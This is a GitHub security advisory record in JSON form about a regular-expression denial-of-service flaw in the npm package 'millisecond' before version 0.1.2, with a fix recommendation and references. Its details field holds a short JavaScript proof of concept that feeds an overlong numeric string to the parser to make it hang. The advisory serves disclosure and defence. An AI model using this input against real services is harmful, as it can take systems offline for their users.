{"id":"GHSA-m489-xr35-fjxr","summary":"Regular Expression Denial of Service in millisecond","details":"Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i\u003c=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.","modified":"2021-09-22T20:34:42Z","published":"2021-09-22T20:35:08Z","database_specific":{"cwe_ids":["CWE-1333","CWE-400"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2021-09-22T20:34:42Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/unshiftio/millisecond/pull/4"},{"type":"WEB","url":"https://www.npmjs.com/advisories/59"}],"affected":[{"package":{"name":"millisecond","ecosystem":"npm","purl":"pkg:npm/millisecond"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-m489-xr35-fjxr/GHSA-m489-xr35-fjxr.json"}}],"schema_version":"1.9.0"}